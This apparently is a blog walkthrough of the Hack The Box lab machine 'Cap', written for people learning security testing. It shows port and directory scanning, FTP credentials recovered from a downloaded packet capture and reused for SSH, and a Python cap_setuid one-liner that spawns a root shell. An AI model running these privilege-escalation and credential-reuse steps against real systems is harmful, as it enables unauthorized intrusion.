HTB: Cap

Details

This machine is Cap from Hack the Box

Recon

kali@kali:~$ nmap -sV -p- 10.10.10.245
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-13 09:24 EDT
Nmap scan report for 10.10.10.245
Host is up (0.022s latency).
Not shown: 65532 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    gunicorn
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.91%I=7%D=6/13%Time=60C6073C%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,105F,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicorn\r\nDate:\x20
SF:Sun,\x2013\x20Jun\x202021\x2013:26:24\x20GMT\r\nConnection:\x20close\r\
SF:nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20193
SF:86\r\n\r\n<!DOCTYPE\x20html>\n<html\x20class=\"no-js\"\x20lang=\"en\">\
SF:n\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x2
SF:0<meta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\">\n\x20\
SF:x20\x20\x20<title>Security\x20Dashboard</title>\n\x20\x20\x20\x20<meta\
SF:x20name=\"viewport\"\x20content=\"width=device-width,\x20initial-scale=
SF:1\">\n\x20\x20\x20\x20<link\x20rel=\"shortcut\x20icon\"\x20type=\"image
SF:/png\"\x20href=\"/static/images/icon/favicon\.ico\">\n\x20\x20\x20\x20<
SF:link\x20rel=\"stylesheet\"\x20href=\"/static/css/bootstrap\.min\.css\">
SF:\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/static/css/fon
SF:t-awesome\.min\.css\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20
SF:href=\"/static/css/themify-icons\.css\">\n\x20\x20\x20\x20<link\x20rel=
SF:\"stylesheet\"\x20href=\"/static/css/metisMenu\.css\">\n\x20\x20\x20\x2
SF:0<link\x20rel=\"stylesheet\"\x20href=\"/static/css/owl\.carousel\.min\.
SF:css\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/static/c
SF:ss/slicknav\.min\.css\">\n\x20\x20\x20\x20<!--\x20amchar")%r(HTTPOption
SF:s,B3,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicorn\r\nDate:\x20Sun,\x2
SF:013\x20Jun\x202021\x2013:26:24\x20GMT\r\nConnection:\x20close\r\nConten
SF:t-Type:\x20text/html;\x20charset=utf-8\r\nAllow:\x20GET,\x20HEAD,\x20OP
SF:TIONS\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,121,"HTTP/1\.1\x2
SF:0400\x20Bad\x20Request\r\nConnection:\x20close\r\nContent-Type:\x20text
SF:/html\r\nContent-Length:\x20196\r\n\r\n<html>\n\x20\x20<head>\n\x20\x20
SF:\x20\x20<title>Bad\x20Request</title>\n\x20\x20</head>\n\x20\x20<body>\
SF:n\x20\x20\x20\x20<h1><p>Bad\x20Request</p></h1>\n\x20\x20\x20\x20Invali
SF:d\x20HTTP\x20Version\x20&#x27;Invalid\x20HTTP\x20Version:\x20&#x27;RTSP
SF:/1\.0&#x27;&#x27;\n\x20\x20</body>\n</html>\n")%r(FourOhFourRequest,189
SF:,"HTTP/1\.0\x20404\x20NOT\x20FOUND\r\nServer:\x20gunicorn\r\nDate:\x20S
SF:un,\x2013\x20Jun\x202021\x2013:26:29\x20GMT\r\nConnection:\x20close\r\n
SF:Content-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20232\
SF:r\n\r\n<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x203\.2\x20
SF:Final//EN\">\n<title>404\x20Not\x20Found</title>\n<h1>Not\x20Found</h1>
SF:\n<p>The\x20requested\x20URL\x20was\x20not\x20found\x20on\x20the\x20ser
SF:ver\.\x20If\x20you\x20entered\x20the\x20URL\x20manually\x20please\x20ch
SF:eck\x20your\x20spelling\x20and\x20try\x20again\.</p>\n");
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 142.81 seconds

User

I started by browsing to http://10.10.10.245

Screenshot 1

I ran a dirsearch to enumerate potential endpoints

kali@kali:~$ dirsearch -u http://10.10.10.245 -w /opt/SecLists/Discovery/Web-Content/raft-large-words.txt       

  _|. _ _  _  _  _ _|_    v0.4.1
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 119600

Error Log: /opt/dirsearch/logs/errors-21-06-13_09-36-42.log

Target: http://10.10.10.245/

Output File: /opt/dirsearch/reports/10.10.10.245/_21-06-13_09-36-42.txt

[09:36:42] Starting: 
[09:36:42] 302 -  208B  - /data  ->  http://10.10.10.245/
[SNIP]

/data redirected back to the root, so I ran a search on it assuming it may be a directory

kali@kali:~$ dirsearch -u http://10.10.10.245/data -w /opt/SecLists/Discovery/Web-Content/raft-large-words.txt 

  _|. _ _  _  _  _ _|_    v0.4.1                                                                                  
 (_||| _) (/_(_|| (_| )                                                                                           

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 119600

Error Log: /opt/dirsearch/logs/errors-21-06-13_09-37-55.log

Target: http://10.10.10.245/data/                                                                                 

Output File: /opt/dirsearch/reports/10.10.10.245/data_21-06-13_09-37-55.txt

[09:37:55] Starting: 
[09:37:56] 200 -   17KB - /data/2        
[09:37:56] 200 -   17KB - /data/0        
[09:37:57] 200 -   17KB - /data/02        
[09:38:00] 200 -   17KB - /data/00    
[SNIP]

I accessed http://10.10.10.245/data/00

Screenshot 2

I clicked download and it offered me a pcap file. So, I opened this in Wireshark. Within this I found an FTP stream which I inspected

Screenshot 3

This gave me some creds of

nathan : Buck3tH4TF0RM3!

So I tested them on FTP

kali@kali:~$ ftp 10.10.10.245
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
Name (10.10.10.245:kali): nathan
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

I then looked for any useful files

ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-r--------    1 1001     1001           33 Jun 13 13:24 user.txt
226 Directory send OK.

# ftp> get user.txt
local: user.txt remote: user.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for user.txt (33 bytes).
226 Transfer complete.
33 bytes received in 0.00 secs (716.1458 kB/s)

kali@kali:~$ cat user.txt
[REDACTED]

The user flag!

Root

So I had the user flag, but still needed to get onto the machine properly. I tried the same creds on ssh

kali@kali:~$ ssh [email protected]
[email protected]'s password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-73-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Jun 13 13:46:04 UTC 2021

  System load:           0.02
  Usage of /:            35.0% of 8.73GB
  Memory usage:          22%
  Swap usage:            0%
  Processes:             227
  Users logged in:       0
  IPv4 address for eth0: 10.10.10.245
  IPv6 address for eth0: dead:beef::250:56ff:feb9:a2f

  => There are 2 zombie processes.

 * Super-optimized for small spaces - read how we shrank the memory
   footprint of MicroK8s to make it the smallest full K8s around.

   https://ubuntu.com/blog/microk8s-memory-optimisation

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Thu May 27 11:21:27 2021 from 10.10.14.7
nathan@cap:~$

Looking around I found

nathan@cap:/var/www/html$ ls -la
total 32
drwxr-xr-x 6 nathan nathan 4096 May 25 07:25 .
drwxr-xr-x 3 root   root   4096 May 23 19:17 ..
drwxr-xr-x 2 nathan nathan 4096 May 27 09:10 __pycache__
-rw-r--r-- 1 nathan nathan 4293 May 25 07:25 app.py
drwxr-xr-x 6 root   root   4096 May 23 19:17 static
drwxr-xr-x 2 root   root   4096 May 23 19:17 templates
drwxr-xr-x 2 root   root   4096 Jun 13 13:30 upload

nathan@cap:/var/www/html$ cat app.py
[SNIP]
def capture():

        get_lock()
        pcapid = get_appid()
        increment_appid()
        release_lock()

        path = os.path.join(app.root_path, "upload", str(pcapid) + ".pcap")
        ip = request.remote_addr
        # permissions issues with gunicorn and threads. hacky solution for now.
        #os.setuid(0)
        #command = f"timeout 5 tcpdump -w {path} -i any host {ip}"
        command = f"""python3 -c 'import os; os.setuid(0); os.system("timeout 5 tcpdump -w {path} -i any host {ip}")'"""
        os.system(command)
        #os.setuid(1000)

        return redirect("/data/" + str(pcapid))

So it looks like this app is using setuid to give itself root privileges. So it likely isn't running as root directly. The main way this can happen is if the binary, in this case python, has either the suid bit set, or a capability assigned

nathan@cap:/var/www/html$ getcap /usr/bin/python3.8
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip

So it has an assigned capabilty. Therefore, we can use this to become root ourselves. I simply used the Python os module to setuid(0) then spawn a /bin/sh instance. Which would be as root

nathan@cap:/var/www/html$ python3 -c "import os;os.setuid(0);os.system('/bin/sh')"
#

# id
uid=0(root) gid=1001(nathan) groups=1001(nathan)

Just need to grab the flag


# cd /root

# ls -la
total 36
drwx------  6 root root 4096 May 27 09:16 .
drwxr-xr-x 20 root root 4096 Jun  1 10:09 ..
lrwxrwxrwx  1 root root    9 May 15 21:40 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Dec  5  2019 .bashrc
drwxr-xr-x  3 root root 4096 May 23 19:17 .cache
drwxr-xr-x  3 root root 4096 May 23 19:17 .local
-rw-r--r--  1 root root  161 Dec  5  2019 .profile
drwx------  2 root root 4096 May 23 19:17 .ssh
lrwxrwxrwx  1 root root    9 May 27 09:16 .viminfo -> /dev/null
-r--------  1 root root   33 Jun 13 13:24 root.txt
drwxr-xr-x  3 root root 4096 May 23 19:17 snap

# cat root.txt
[REDACTED]

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.